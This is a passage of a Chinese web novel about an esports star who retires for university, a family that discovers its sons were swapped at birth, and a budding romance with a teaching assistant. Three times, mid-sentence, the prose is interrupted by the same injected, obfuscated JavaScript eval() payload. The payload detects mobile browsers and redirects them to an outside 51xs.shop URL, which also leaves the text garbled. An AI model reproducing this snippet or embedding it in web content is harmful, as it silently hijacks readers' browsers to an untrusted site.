他冷静下来想想：能确认新生的名单就够了，他之前在C大都没有见过鹿溪午，要是真的是鹿溪午考进了C大，也只能是这届新生。 “……没关系，我答应的东西还是会给你的 。” 魏薇抿了抿嘴唇，她早就察觉到了林奚语气中的不耐。 本来答应给林奚帮忙，纯粹是因为魏薇对林奚有专业第一的滤镜，加上林奚开出的条件她实在没法拒绝。 但经过今天短暂的交谈，魏薇已经开始后悔答应这件事了。 啪—— 头顶的灯骤然亮起，惊得魏薇的手机脱手而出，哐当一声摔在地上。 “诶？有人啊？” 谢嘉不好意思地挠了挠头，“那个……我不是故意吓你的，对不起啊。” “没，没事。”魏薇没想到这个时候会有人过来，面上的慌乱都要抑制不住。 她迅速把手机捡起来，却发现通话已经挂断，魏薇松了口气，强作镇定，“你有事吗？” “我找学籍科孙老师，他在吗？” 谢嘉看了眼魏薇发颤的手指，这小姑娘干嘛呢？慌成这样？ “……哦，孙老师开会去了。” 谢嘉看了眼手表，一拍脑门：“看我这记性。” 他拿出手机，手指轻动，像是在发消息。 眼见魏薇还愣在原地，谢嘉随口问道：“你是勤工俭学的同学吗？这个时候不是你们的工作时间吧？” 魏薇脸色一僵，心跳得快要冲出胸膛，“我……来拿东西，现在就走现在就走。” 说罢，魏薇抓起自己的包，逃似地飞快离开了屋子。 谢嘉挠挠鼻尖，疑惑地自言自语：“我有这么可怕吗？” . 林宅。 林修放下手里的案卷，久久不能平静。 他没有想到这种电视剧里的事会发生在自己家里。 “我知道你一时难以接受，但这就是事实。”林沂天吸了口手中的雪茄，整个人浸在烟雾之中，声音沙哑。 “当年涉案的护士已经被抓住了，这件事确实是医院和我们的疏忽——但现在正是美国上市的关键时刻，千万不能节外生枝，明白吗？” “我知道了。” 作为林沂天全力培养的继承人，林修对于商业的敏感性自然不必多说，“那……鹿溪午，我们该？” “相应的补偿我已经给他了。” 一想到鹿溪午，林沂天就头疼，“虽说现在不好认回他来，但不管怎么说，他身上始终留着林家的血。” 相比于这个面都没见过的弟弟，林修显然更关心另一件事，“小奚他知道吗？” “小奚不是要比赛吗？我没告诉他，免得他分心。” 提到林奚，林沂天的脸色缓和不少，优秀的养子和不成器的亲子，他当然知道自己该怎么选，更何况—— “咱们集团在文娱起家，小奚进入娱乐圈有利于我们在纽约证交所面前树立正面形象。” “我知道。”林修点点头，“小奚从小的梦想也是这个，我会好好照看好他的。” 林沂天欣慰地点点头，“那就好。” 只是…… 林修的手指忍不住在鹿溪午的名字上摸了摸，可惜这份案卷里没有鹿溪午的照片，不然林修还真想看看，自己这位亲弟弟到底长什么样？ C大。 林奚一脸阴沉地看着手中挂断的电话，低声咒骂了一句。 林沂天以为林奚不知道鹿溪午的存在，但其实早在三个月前，林沂天第一次拿到鉴定报告时，林奚就看见了。 那天，林奚去书房找林沂天，正好撞上他跟律师打电话，林奚在虚掩的门口听了个全乎。 原来自己前二十年的人生都是别人的，家族的庇佑，平坦的前途，优渥的生活……这些自己所骄傲的一切本该属于别人。 那一刻，林奚只觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13590781|143210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得一盆冷水从头浇来，明明是春暖花开的天气，他却生生打了一个寒颤。 林沂天的性格他再清楚不过，以利益衡量一切的商人。 一旦自己的价值比不过那个亲儿子，林沂天会做什么？要是失去了林家的庇护，他会怎么样？ 也就是从那时起，林奚开始悄悄关注鹿溪午，却又不敢做得太明显被林沂天发觉。 今天在C大见到鹿溪午，林奚吓出了一身冷汗。所幸不是最坏的情况，令林奚狠狠松了口气。 心中的郁气需要发泄，林奚拐进了C大附近的一家网吧，登录了异界之巅的游戏账号。 林沂天因循守旧，更是不准林修林奚碰这些玩物丧志的电子游戏，林奚也只能在网吧偷偷玩上几把。 一上线，林奚就收到了来自大洋彼岸的组队邀请—— 【Abelard邀请你组队，请问是否接受？】 林奚露出些轻松的微笑：“怎么今天有空上线？你不训练了？” “北美比赛早就结束了，现在战队放假，上线随便打打。” Abelard其实是华人，中文名叫齐光茂。齐家跟林家是世交，齐光茂是齐家的小儿子，从小跟林奚一起长大。 后来齐家破产举家迁往美国，齐光茂又在机缘巧合下加入了美国的GOD战队，征战在异界之巅的赛场上，跟林奚的联系也渐渐少了。 “好久没跟你一起打游戏了，你怎么都不约我的？”林奚进入bp画面，“我一楼，要帮你抢什么？” “拿个海洋纹章吧——这不是怕你忙么，大明星。”虽说跟林奚许久未见，但齐光茂的语气也丝毫不见生疏，“准备什么时候开演唱会啊？得送我几张VIP的票吧？” “行啊，VIP。” . 鹿溪午心情颇好地回到俱乐部。 今天是俱乐部假期的最后一天，TD战队里的所有队员都回了俱乐部。 安静了一周多的大别墅终于再次充满了欢声笑语。 徐泽正在餐厅里摆弄电磁炉，准备烫火锅吃，“哟？回来啦？今天去学校感觉咋样？” “还成。”鹿溪午敷衍地回答一声，他深深地吸了口气，立即被鲜香麻辣的味道吸引，“好香！是你炒的火锅底料吧。” “那可不。”徐泽骄傲地一扬眉，“给你准备的欢送宴，感动吗？” 鹿溪午屈服于火锅之下，连连点头，“感动感动。” “对了，退役了你打算住哪儿？学校吗？”徐泽关心道：“但你平时要直播，恐怕不方便吧？” “我的房子去年刚装修完，今年能搬进去了。”鹿溪午眼瞅着还在熬煮的火锅底料，咽了咽口水。 徐泽点点头，“那也行，离你们学校挺近的。” “诶？这锅都快开了，怎么那帮小屁孩儿还没来？” 徐泽大概是天生的操心命，刚担心完鹿溪午，又开始操心着他底下的这帮人，“吃饭了——都干嘛去了——” TD战队五个人，从次级联赛一路打上秋季赛冠军。 要说情谊，他们五个连同徐泽，都是实打实睡过同一个网吧，喝过同一根水管的自来水的兄弟。 鹿溪午的退役，虽然早有心理准备，但众人还是没想到这一天来得这么快。 徐泽叹口气，对于其他人的想法甚是理解。 TD队员一个个都焉头巴脑走进来，见到鹿溪午的瞬间，顿时眼泪汪汪，“鹿哥别走嘤嘤嘤嘤嘤……” 鹿溪午顿时深受感动，“原来你们……”这么舍不得我。 总是甩锅的射手掏出手绢：“你走了谁替我们挨训？” 戏最多的辅助捂住胸口：“你走了谁替我们打掩护？” 胖胖的上单捻着兰花指：“你走了谁给我们的夜宵买单？” 鹿溪午：……喵的，友尽。 徐泽：他究竟带出来一支什么二缺战队？ 5. 撞车 饭桌上的气氛闹到最后，众人都陆续回了房间。 不知是有意还是无意，最后留在桌子上的就只剩下鹿溪午和TD的新中单陆云。 陆云是鹿溪午一手带出来的小徒弟，今年才18岁，性格内向腼腆，TD战队的每个人都喜欢逗他。 “师父……”陆云抱着易拉罐，眼泪汪汪地看向鹿溪午，眼神充满了不舍。 鹿溪午难得良心一痛，他确实没有跟小陆云说过自己退役的事情，“小陆云啊，天下没有不散的宴席……” 鹿溪午不说话还好，一说话简直就像打开了陆云的泪腺。 “师父，不要我了哇——” 巨大的哭声像是一柄凿子狠狠贯穿了鹿溪午的耳膜，他深吸一口气，默念道：自家徒弟不能打，不能打。 “师父——哇哇哇……” 陆云简直越哭越伤心，越哭越心碎，“师父——” 鹿溪午忍无可忍，一把抽出他手里的易拉罐，“喝个菠萝啤都能喝醉，就这点儿出息？” 陆云眼神迷离，嘴被鹿溪午捂着发不出声音，只能用“呜呜”的叫声提出抗议。 鹿溪午单手把少年拎回房间，丢在床上，扬长而去，却转头遇见在走廊抽烟的徐泽。 打火机的火光在昏暗中跳动，很快便成了徐泽嘴边一点橘色的火星，“陆云怎么样了？” “醉了，小屁孩一个。”鹿溪午走到徐泽身边，跟他肩并肩站在一起。 徐泽会抽烟，但很少抽。 鹿溪午上回碰见徐泽抽烟，还是在他们夏季赛决赛的时候。 鹿溪午拍拍徐泽的肩膀，安慰道：“别担心，这几天我还会在俱乐部，我会在训练室多待些时间的。” “我不是在担心比赛。”徐泽咬着烟卷，“人员变动下，比赛失利很正常，我是在担心小陆云的心态。” 这也是鹿溪午所担心的事情。 “作为你的接班人，他的压力可不是一般的大，一旦比赛失利，不管是舆论也好，粉丝的评价也好，恐怕会打击到他。” 徐泽掐灭烟头，狠狠地啧了一声，“早知道这次夏季赛就不该求稳，让小陆云先打两场也好啊。” “都是一样的，他始终都会面临这一关。”鹿溪午摇摇头，“没有人会例外，当年咱们被嘲成退订战队，不也都过来了吗？” “陆云是我亲自带出来的，我了解他，他不会是那种能被轻易打倒的人。” “更何况，都还没开始比赛呢，你怎么先想起输的事情了？” 也对，比赛都还没开始呢，想这么多干什么？ 打了再说。 徐泽摸了摸下巴，越想越觉得有道理，“干他丫的就完事儿了。” 离秋季赛开赛还有一段时间，9月份恰好是选手的转会期。 各个战队或多或少都有人员的调整，各家粉丝有喜有忧。 唯独TD战队的官微下方一片和谐，粉丝们还不知道一个重磅炸弹正等着他们。 作为准风暴中心的鹿溪午，此刻正坐在自己俱乐部的房间里，盯着手机一动不动。 房间里堆满了纸箱子，箱子里都是鹿溪午的杂物，其余地方已经收拾得干干净净的了。 徐泽端着咖啡路过房门，伸头看了眼，热心问道：“要我送你吗？我的车后备箱大。” 鹿溪午唰地看向徐泽，眼神锋利似刀，“你没车，你没空，你没看见。” 徐泽：？ “我不是好心……诶诶诶？你推我干什么？” 徐泽赶紧护住自己的咖啡，顺着力道被推到三米外的地方，眼睁睁看着鹿溪午哐当一声关门。 徐泽一脸茫然加迷惑，“……吃错药了？” 只见房间内，鹿溪午继续盯着手机。 手机屏幕上是鹿溪午的企鹅空间，上面正显示着“仅一人可见”的内容： [图片][图片] 独自搬家，天赐我一个帮手吧[大哭.jpg] 鹿溪午摸着下巴，自言自语道：“怎么还不回？不应该啊……” 思索未果，鹿溪午转了转眼珠，手指再次在屏幕上快速敲击。 [为什么搬家公司都约满了？为什么？！今天是搬家的黄道吉日嘛！] 确认发布。 鹿溪午再度发了一条仅一人可见的说说，等着自己的猎物上门。 . 贺存一身西装革履，衬得他整个人更加挺拔沉稳，银框眼镜架在高挺的鼻梁上，温文尔雅仿佛一个中世纪贵公子。 “……以上就是全部内容，感谢聆听。” 台上，贺存深深鞠躬，从容地走下台。 谢嘉立马迎上去，神情激动，“稳了稳了，存哥牛哇！” 贺存拧开矿泉水瓶盖，一口气喝了半瓶，“下次这种事可别叫我了，时间太长。” “除了你还有谁能临时救场？能者多劳嘛，存哥。” 谢嘉嘿嘿一笑，满脸促狭的神色，双手递出贺存的手机，“而且我发现，你有情况啊。” “什么？” “刚才你企鹅特别关心的提示音响了，还是两次，说说吧，这小鹿斑比是谁啊？” 贺存面色不变，手上动作快速解开了手机锁屏。 速度之快，看得谢嘉啧啧称奇，“你连咱boss都没特关呢，你给兄弟我透露一下呗，谁啊？” 贺存哼笑一声，不知在手机上看见了什么，倒是有心情应付谢嘉的玩笑，“你有这个时间研究我，不如下次自己去救场？” “哟哟哟，还真是有情况啊？看不出来啊，速度挺快？” 贺存斜乜了一眼一脸吃瓜表情的谢嘉，决定不予计较，“行了，我有事得走了，你先收尾，剩下的留给我。” “行，反正都逮着我一人薅呗？”谢嘉摇摇头，感慨道，“世风日下啊。” 贺存转身往会场外的停车场走，手里也动作不停： H：[需要帮忙吗？我今天正好开了车。] 嘟嘟—— 鹿溪午回得很快，几乎是让贺存觉得他是专门守在手机前回复似的。 斑比：[真的可以吗，谢谢学长！] 斑比：[可以，你在哪儿？我来接你。] 贺存要了鹿溪午的定位，钻进车里开启了导航。 还没到下班的时间，路上的车不多，贺存很顺利地开到了TD俱乐部的门前。 鹿溪午正坐在路边等他，脚边有好几个箱子堆在一起。 夏末的温度也格外炽热，鹿溪午正蔫哒哒地举着伞，百无聊赖地盯着自己面前的路面。 贺存把车停在鹿溪午面前，打开车门的瞬间恰好和他四目相对。 阳光明媚，树荫婆娑，不规则的光斑透过树梢洒在鹿溪午的衣服上，像是一片片揉碎的金箔。 那双清透又无辜的眼睛猝然闯进贺存的视线，恍若一只灵动的鹿。 “学长，你来啦？” 贺存瞬间回神，下意识地点点头，指了指旁边的纸箱，问道：“这些都是吗？” 然而鹿溪午面对一身西装的贺存却迟疑了一瞬，“……学长是在忙吗？” “比赛需要，已经结束了。” 贺存温和一笑，解开西装外套的扣子，随手丢进车后座，露出里面的白衬衣。 “我帮你搬。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13590782|143210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说罢，贺存轻松抱起其中一个纸箱，放到后备箱里。手臂的肌肉线条透过衣料，清晰地印在鹿溪午的眼里。 晃得鹿溪午不得不咽了口唾沫。 “学长，我来吧。” 贺存灵活地避开鹿溪午想要帮忙的手，用下巴示意他上车，“外面热，你先上车。” “不不不用，我来搬。”鹿溪午连连摆手。 贺存再次避开鹿溪午的手，无奈道：“我来搬就好，本来也没多重，你小心你的手。” “——电竞选手的手，是很珍贵的。” 鹿溪午的手顿时停在半空，怔愣地看向贺存。 “你是怎么知道我是电竞选手的？” “这里不是TD俱乐部的基地么？随口一猜，你的反应告诉我猜中了。” 鹿溪午张了张口，想说什么却还是什么也没说，眼神虚虚地看向远方发愣。 贺存搬起最后一个箱子，塞满后备箱。又从车里拎出一瓶冒着冷气的汽水，贴在鹿溪午脸上，“想什么呢？” “嘶——”鹿溪午被冰得一哆嗦，同时也回了神。他伸手接过汽水瓶打开，喝了两口。 “上车，走了。” “哦，来了！” 鹿溪午小跑过去开车门，蹦蹦哒哒的，仿佛是遇见了什么开心的事。 . “祝你生日快乐，祝你生日快乐……” 大大小小的工作人员，一起比赛的选手，乃至导演，都围在不大的后台，陪着林奚唱着生日快乐歌。 “祝贺林奚顺利出道！” “恭喜恭喜啊，生日快乐。” “谢谢，谢谢大家。” 林奚接收着这些或真情或假意的祝福，笑得十分灿烂。 此刻的微博热搜前三条，全是林奚出道的相关词条。 #第一名林奚 #万众所归的出道选手 #张婉青 出道新人 这其中有林修的手笔，但不可否认的是，林奚还是有热度的。 对于这样的声势，林奚虽然嘴上不说，但内心里也是极为满意的。 才出道就是这样的热度，之后的路会走得更加顺畅。 热度，就是娱乐圈的第一铁律。 林奚满意地刷完微博词条，正准备放下手机，却忽然看见节目组的宣传急匆匆地走来。 “导演，您看。” 宣传手里是实时监控节目数据的pad，其中可以明显的看见，有一个词条正以惊人的速度蹿上热搜。 #deer退役 不过短短十几秒，它就以惊人的热度占据了热搜第一，其他相关的词条也正以恐怖的速度往上蹿升。 不一会儿，便迅速霸占了各大社交平台的榜一。 林奚的脸色一瞬间难看起来，就连林修也分外不悦，“怎么回事？” 节目组的导演冷汗涔涔，“这这，小李，怎么回事？” 负责宣传的小李欲哭无泪，“是电竞圈那边的人，这个deer的热度，咱们可……” 林修听到这里，安慰似地拍拍林奚的肩膀，神色严肃地站起，“我去打个电话。” 是个人都知道林修这个电话是打给谁的。 导演擦了擦脑门的汗水，不着痕迹地松了口气，“对对对，还是林先生有办法。” 只有小李小声地跟导演解释，“deer可是电竞圈的中单大魔王，人气地位就跟咱们影帝差不多，微.博后台那边估计也压不下来这热度。” 导演连忙拉着小李后退几步，“我能不知道吗？但咱们能说吗？这要说了，下部综艺的投资你还要不要了？” 6. 退役 林奚沉默地坐在一旁，低着头看着手机上的推送。 [TD电子竞技俱乐部人员变动公告 即日起，TD中单位-deer正式退役。 俱乐部经过沟通确认，决定尊重选手意愿，感谢deer选手为TD电子竞技俱乐部作出的贡献，江湖路远，有幸相识。] 这条微博热度爆表，底下评论清一色的震惊挽留哭泣： 【这是官方吗？是不是被盗号了QAQ】 【啊啊啊啊我的青春退役了——】 【完全没有一丝风声，D神你好狠的心。】 作为风暴中心的deer，转发了TD官号的退役公告： [因个人原因，无法再作为全职的电竞选手继续征程，祝愿TD战队永不退订，有幸相遇，感恩同行。] 统治赛场两年的明星选手退役，现在社交软件的头版头条都被deer所占据。恐怖的流量热度令浸淫娱乐圈多年的导演都唏嘘不已。 “这号召力……也只能说是林奚运气不好……” 飘忽的声音传进林奚耳朵里，令他瞬间沉了脸色，把手机攥得紧紧的。 林修打了电话回来，从他面上的神色来看，也没有取得满意的结果。他伸手摸了摸林奚的头顶，安慰道： “小奚，等明天大哥再补偿你，行不行？” 林奚抬起头，舞台妆还没有卸下，化妆师本就有意突出林奚独特的少年感，从林修的角度看去更显温顺清润。 “没关系的，这也不是什么大事，大哥不用放在心上。” 闻言，林修更加觉得歉疚不已，“放心，大哥会想办法的。” 在林修看不见的背后，林奚的手已经攥出了深红的指甲印，“大哥，要不我们先回家吧？” “那我们就先……” 站在一边cos了许久背景板的导演终于插上话：“回去也好，林奚都累了一天了，多休息休息。” “行，那我们就先走了。” . 鹿溪午放下手机，没有再理会网上的“腥风血雨”。 “谢谢你啊，学长，要不我请你吃饭吧？” 贺存摇摇头，指了指鹿溪午一片狼藉的新家，“我估计你还得收拾好久，改天吧。” 鹿溪午摸摸鼻子，久违地感觉到了一丝不好意思，他今天确实事情挺多，收拾屋子，安抚粉丝，晚上还有一场直播。 “正好，下次我就把书带给你。”贺存轻笑一声，善解人意地起身告辞，“我就先走了，拜拜。” “哦好，慢走啊。” 鹿溪午目送贺存的背影消失在电梯中，不知为何，脑子里突然想起了贺存搬箱子时，手臂上清晰的肌肉线条，极具有力量感和冲击力。 鹿溪午撩起袖子，手臂微蜷，手指紧紧握在一起，想要凹出一点相似的肌肉线条。 但失败了。 鹿溪午舔舔自己的犬齿，望着自己清瘦的胳膊，神情里有丝遗憾闪过。 收拾完屋子，客厅时钟的指针已经来到了10点。 新房子的网线早在一年前就安装完毕，到了今天终于有了用武之地。 一打开直播间，各路粉丝纷纷涌入，有挽留的老粉，吃瓜的隔壁战队粉，激情开麦的TD团粉，甚至是挑事的黑粉。 【D神看我！为什么要退役啊！】 【状态下滑了吗？没关系，我们可以等你调整过来，不要退役啊QAQ】 【D神走了以后还能看见你吗】 【deer轻易退役，有没有考虑过秋季赛的TD？】 弹幕滚动的速度已经达到了平台的上限，把鹿溪午看得眼花缭乱。 “退役是个人原因，跟俱乐部无关。是我的时间实在是没办法做全职的电竞选手了，退役是我和俱乐部经过深思熟虑的最好选择。” “以后还会直播，还是在现在的平台。肯定会比原来多播一点的，别担心。” “TD并不是只是我一个人的战队，以往每一场比赛的胜利也不是我一个人的功劳，每一场比赛我们都会全力以赴。” 鹿溪午回答了几个出镜率高的问题，说得很诚恳，言语中也在尽力安抚粉丝的情绪。 【人生规划每个人都不一样啦，尊重D神的选择】 【尊重+1】 【以后D神要多多直播补偿我们】 大多数理智的粉丝会表示理解，但也有不少黑粉水军在直播间里挑事搅局。 【deer逃兵】 【辜负俱乐部对你的栽培】 【退役得好，早该为新人腾位置了】 鹿溪午作为《异界之颠》排名第一梯队的大神选手，虽说有一小撮黑粉，但绝对没有今天闹得这么厉害。 几个房管禁言键都快摁坏了，勉强维持住了弹幕的和谐。 “谢谢爱我deer的礼花，谢谢呜呜吃药的游艇……” “再播一会儿就下播了，我今天才搬家，还没有收拾完呢。” 鹿溪午一直关注着礼物榜第一的位置，发现干脆面老板的头像一直是灰色的。 好像最近大佬一直都很忙，上次出现在直播间还是双排国际服的时候。 鹿溪午正这么想着，一个金光闪闪的特效就出现在了直播间。 一看就万分壕气，花里胡哨的进入特效只存在于一个人身上——干脆面大佬。 “大佬晚好啊，今天可能没时间双排了。” 大佬似乎是在忙，直接氪金买了个一小时留言板回到——不用。 鹿溪午：……小一千就这么扔出去了。 没等鹿溪午反应，大佬又买了个留言板挂在直播间头顶： 【祝贺deer顺利退役，开启人生新篇章。】 紧接着，鹿溪午的直播间就被各色各样的礼物刷满了。 老粉习以为常，新粉吱哇乱叫，黑粉忌妒捶桌。 【妈呀，有钱人就是不一样】 【淡定淡定，小场面，咱们干脆面老板不差钱】 【看来干脆面老板真的很忙，都没有跟deer聊天来着】 贺存确实有事，他送完鹿溪午回来，就一头扎进了学校的图书馆，忙到现在还没完。 比赛还有几个收尾材料要写，这个月组会的汇报内容还没准备，还有论文的审稿意见没有回。 贺存一边开着手机直播砸礼物，一边又劈里啪啦敲着键盘。 本来准备刷完就退出，贺存却忽然眼神一凝，看见了弹幕那几个不和谐的声音。 比起房管疯狂的禁言，贺存的方式向来简单粗暴——他直接点举报。 作为deer直播间榜一，直播平台的VVVVIP用户，贺存是有那么一点小特权的。 平台管理员的后台立刻多了十多个加急待处理的举报。 吓得平台客服战战兢兢地给贺存打来电话，“先森，您有要求尽管提，您一个个点举报实在是太麻烦您了呢。” “我的诉求你们难道看不明白吗？” 贺存的语气很温和，但客服就是从中听出来了一丝杀气。 客服：有钱人沟通都是这样的嘛QAQ “……好的，我们这边会尽快处理的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13590783|143210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，您稍候。” 几个蹲在网吧刷弹幕的职黑，正工作得正起劲。 “这个deer的粉丝战斗力好强，拼不过啊。” “deer嘛，正常。要不是雇主给得多，我才不愿意接这个活儿。” “这种正经又厉害的电竞选手最难黑了，兄弟们加油——咦？” 只见几个职黑的电脑屏幕上，出现了一个大大的红色警示框： 警告：检测到您使用刷屏软件，恶意抹黑主播的行为，现永久封禁您的账号，如有疑问，请拨打客服电话。 职黑们：…… “怎么回事啊？平台出手了？” “今天的场面又不大，放平时都不会管我们呐？” “那怎么办？换号吗？” 其实像他们这种职黑，多多少少都跟平台有点牵连，他们手里有哪些账号，对方心里清楚得很。 只要定期向平台缴纳“保护费”，他们的行为平台都不大管。 但现在直播平台出面了，出手直接封号，这已经是警告了，意思是他们这次黑的对象背景很硬。 然而他们这次的雇主来头同样很大，要是得罪了林家小少爷，他们也不用吃这碗饭了。 三人看向职黑头子，等着他拿个主意。 职黑头子是个中年大叔，很瘦很黑，眼眶深深地凹陷进去，有种世俗的精明和老练。 “不用再黑了。林家小少爷估计也知道deer黑不动，不然以林家的势力，怎么可能找我们这种小人物？” “今天他出道刚好撞上deer退役，小少爷被抢了风头不爽，找人膈应膈应deer出气而已。” 职黑头子吸了口烟，把剩下最后一点烟屁股抽完，随手按灭在桌上，“但我们态度得做出来，要让人觉得我们努过力了，只是没成功罢了。” 剩下三人恍然大悟，“这简单，不就摸鱼嘛？” 职黑几人开启了快乐摸鱼之路，林奚这边就没那么轻松了。 林沂天显然不满，“这是怎么回事？小奚难道还比不过一个打游戏的不成？” 林修对父亲的老古板思想非常头疼，做他们这一行的，最忌讳的就是因循守旧，一叶障目。 “爸，现在的电竞已经不是当初那个小众的圈子了，他们的热度哪怕是某些流量演员都要避其锋芒，何况是小奚。” 林修疲惫地揉了揉太阳穴，“这件事我会处理的，您和小奚先去休息吧。” 林沂天冷哼一声，拒绝了林奚的搀扶，兀自上楼回房。 留下林奚尴尬地站在原地，整张脸没在暗处，看不清楚他此时的表情。 林沂天回到房间，重新冷静下来的他不得不承认林修说的是对的。 不知为何，林沂天突然想起了鹿溪午那天骄傲的语气—— “我是一名电竞选手。” 后来林沂天不是没有去调查，现在几个大热的游戏中，公开的有名有姓的电竞选手不过就那么几个，但其中没有鹿溪午。 不过也正常，没有林家的帮助，鹿溪午怎么样也不会取得跟小奚一样的成就。 林沂天喃喃自语，不知道是在说服谁。 林奚锁上了自己房间门，此时他才敢把自己满身的不甘心表露出来。 手机适时传来消息的提示音，林奚低头一看，是来自齐光茂的问候—— [还好吧？需要我做什么吗？] [没事，谢谢。]林奚咬紧后槽牙，勉强回了齐光茂一句。 连林家都没有办法，那齐光茂也不会有更好的方法，林奚攥紧手机，脸色难看。 7. 比拼 新的一周开始了。 C大的新生终于结束了漫长的军训，开始全新的学习生活。 军训期间，鹿溪午也跟自己班上的同学都熟悉了，尤其是跟他同一个寝室的男生。 虽说鹿溪午并不住学校，但学院还是给他分了一间寝室床位，鹿溪午偶尔也会在学校午睡。 正是这短暂的交集，让他迅速跟寝室一个话痨又自来熟的同学建立了友谊。 周有柏，寝室长，班级班长，热心肠，如果不是deer的狂热粉丝，那就更令鹿溪午满意了。 “鹿溪午！这儿呢！给你占了位置。” 周有柏坐在教室的第一排，兴冲冲地朝鹿溪午招手。 这是周二早八课，也是这学期唯一的一节专业课，周有柏能抢到第一排的位置，也是很拼了。 此时离上课时间还剩一分钟，教室里已经坐满了人。 气喘吁吁的鹿溪午摸到周有柏身边，拿书不停地扇风：“差点迟到了，还好我跑得快。” 周有柏招呼靠窗的同学把窗户打开，才转过头问到：“昨天干嘛去了？第一次来得这么晚？我还以为你请假了呢。话说回来，昨天D神直播也播到很晚，我差点今早也没起来……” 鹿溪午不敢在自己的狂热粉丝面前自爆马甲，只能含含糊糊地应和几声，“啊哈哈，是吗？” 所幸上课铃声响得及时，才得以让这个危险的话题终止下去。 鹿溪午抬头，他惊讶地发现一个熟悉的身影从教室外走进。 贺存穿着他最常穿的白衬衣，袖子向上卷了几圈，露出结实的小臂。优越的肩背比反而更适合这种简单的衣着，别致又贵气，像一棵在雪中挺拔的松。 贺存几步走上讲台，随手扶了扶眼镜，低头跟第一排的鹿溪午对视一眼，嘴角悄然扬起一丝弧度。 “我去，这老师好帅。” “我以为咱们班的鹿溪午已经够好看了，结果来了个更帅的老师。” “C大是什么神仙大学，洒家这辈子值了！” 作为话题中心的贺存，对这种情况显然不甚在意，用眼神跟鹿溪午打过招呼后，才开口自我介绍。 “大家好，我叫贺存。目前在C大攻读博士学位，是你们《经济学原理》的助教老师。如果没有意外的话，这学期的课程都由我来给大家讲授。” 说完这句，台下爆发了热烈的掌声。 贺存抬手，掌心向下，做了个压制的动作，“谢谢同学们的热情。我们今天就开始进入……” 台下，鹿溪午转开目光，眼眸中闪过一丝灵动，用笔帽戳了戳周有柏：“上次你说的那个课程助理，怎么报名来着？” 周有柏震惊地侧目，小声道：“你终于改变主意了？” “你说不说？” “说说说。”周有柏求之不得。 课程助理是给配备给每个课程老师的助手，主要负责收发资料，通知消息，联系老师等。由于课程助理的给的学分远不如学生会和团总支来得高，便很少有人报名。 周有柏最近为了给班级凑够足数的课程助理，整天都在班级群里求爷爷告奶奶。 “那你要当哪门课程的助理？我给你报上去就行。”周有柏嘿嘿一笑，“支持我工作的，一律都是我兄弟了。” 鹿溪午满意点头，“就要这门课的。” “行。”周有柏一口答应。 贺存讲课的水平不错，课堂并不枯燥，很快就到了下课时间。 其余人都打着哈欠往外走，只有鹿溪午拒绝了周有柏的约饭邀请，慢吞吞地在教室收拾东西。 等最后一个同学踏出教室时，鹿溪午瞬间露出笑容：“学长！你怎么来上课啦？” “你们《经济学原理》这门课的老师，就是我的导师，刚好博士生要求有两个学期的助教经历，我就来了。” 贺存镜框后的眼眸深邃，视线落在鹿溪午身上时，总带着一丝几不可察的柔和。 “嘿嘿，刚好我上午没课了，我请贺老师吃个午饭？”鹿溪午想起自己欠贺存的一顿饭，开口邀请道。 “贺老师？”贺存无奈扶额，“真是不习惯你这么叫我，还是叫‘学长’吧。” “既然贺老师都这么说了，那——学长走吧。” 贺存看见鹿溪午脸上的慧黠之色，不由得心中笑骂：得了便宜还卖乖。 除了去英国念研究生的三年，贺存的本科和博士都是在C大。对于C大的道路，布局，尤其是哪家食堂好吃，都有资深的发言权。 “三食堂的窗口多，但菜的味道不太行；融园的早餐不错，除了豆浆；西苑的小炒，面条都好吃，还不贵……” 贺存把学校的所有食堂都提了一遍，最后目光落在鹿溪午的身上，“你想吃什么？” 毕竟才来了学校一个月，这些被提到的食堂，其中有一半鹿溪午连名字都没听过。 鹿溪午面对众多陌生的食堂，直接放弃选择，“我请客，学长选地方吧。” “那去竹园吧。”贺存也没推辞，他猜到了鹿溪午对学校的不熟悉，“离停车场进，吃完饭了，我能就把书给你。” 鹿溪午欣然接受。 饭后正是太阳高挂的时候，十月份的阳光虽然柔和，但也有几分火辣的温度。 地下停车场，贺存带鹿溪午走到他的车子旁边，从后备箱里取出一袋饶有分量的印花布袋，递给鹿溪午。 鹿溪午双手去接，立刻感到一份沉甸甸的重量压在手上。不像是一两本书的样子。 鹿溪午肉眼可见地萎靡起来，完了，借口没了。 贺存不动声色地把鹿溪午的反应收入眼中，不紧不慢地开口：“大部分的书都在里面了，不过还有几本落在英国了，我托人去找了。” 诶？还有这种好事？又能多见几面学长了。 鹿溪午顿时喜上眉梢，但嘴上还得客气客气，“太麻烦学长了，剩下的书我自己去想办法就好。” “不用，不麻烦。” 